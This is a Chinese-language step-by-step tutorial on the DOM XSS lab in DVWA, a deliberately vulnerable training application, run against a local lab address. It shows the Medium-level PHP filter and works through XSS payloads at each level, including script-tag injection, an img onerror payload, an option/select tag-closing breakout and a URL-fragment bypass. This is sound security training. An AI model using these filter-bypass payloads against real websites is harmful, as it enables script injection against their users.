一步一步学习DVWA--DOM XSS(第三期)
XSS(DOM) DOM类型攻击
1、Low级别
选择’English’,查看后端源代码如下,说明无任何保护措施,直接尝试注入。
单击【Select】后,发送get请求。
把参数修改为
http://192.168.92.129/DVWA/vulnerabilities/xss_d/?default=<script>alert(1)</script>
在url刷新,则弹出下面页面:
这说明存在XSS攻击漏洞,被测试网站可以执行其它函数。
2、Medium级别
修改为中级后,查看源代码如下:
<?php
// Is there any input?
if (
array_key_exists
(
"default"
,
$_GET
) && !
is_null
(
$_GET
[
'default'
]) ) {
$default
=
$_GET
[
'default'
];
# Do not allow script tags
if (
stripos
(
$default
,
"<script"
) !==
false
) {
header
(
"location: ?default=English"
);
exit;
}
}
?>
https://www.w3school.com.cn/php/func_string_stripos.asp
可以看到过滤了“<script,”
stripos(字符串1,字符串2) 函数查找字符串2在另一字符串1中第一次出现的位置(不区分大小写),找到返回匹配字符串的位置,否则返回false。header() 用于发送原生的 HTTP 头。
使用img标签试试
192.168.92.129/DVWA/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert(1)>
发现无法弹出提示框。
尝试直接闭合<option>标签,输入:default=</option><img src=1 οnerrοr=alert(1)>,依旧无法弹窗,
尝试闭合option标签试试。
default=</option></select><img src=1 οnerrοr=alert(1)>
能够成功
3、High级别
查看源代码
可以看到,防御已经非常完善了,传入的参数如果不是French、English、German、Spanlish这四种字符串的话,就会直接跳到?default=English。但是,绕过方法还是有的。
使用#定位符,#号后面的字符不会提交给PHP服务器。输入:default=English #<script>alert(1)</script>
能够弹出。
http://192.168.92.129/DVWA/vulnerabilities/xss_d/?default=English#%3Cscript%3Ealert(1)%3C/script%3E
4、Impossible 级别
其源代码如下:
可以看到代码中没有对输入做限制,现在我们在url中直接注入
http://192.168.92.129/DVWA/vulnerabilities/xss_d/?default=<script>alert(2)</script>
提交以后,没有出现弹出框
这说明后台对我们的进入进行了编码,不能攻击。
(完)
———————————————————————————————————————————
关注安全 关注作者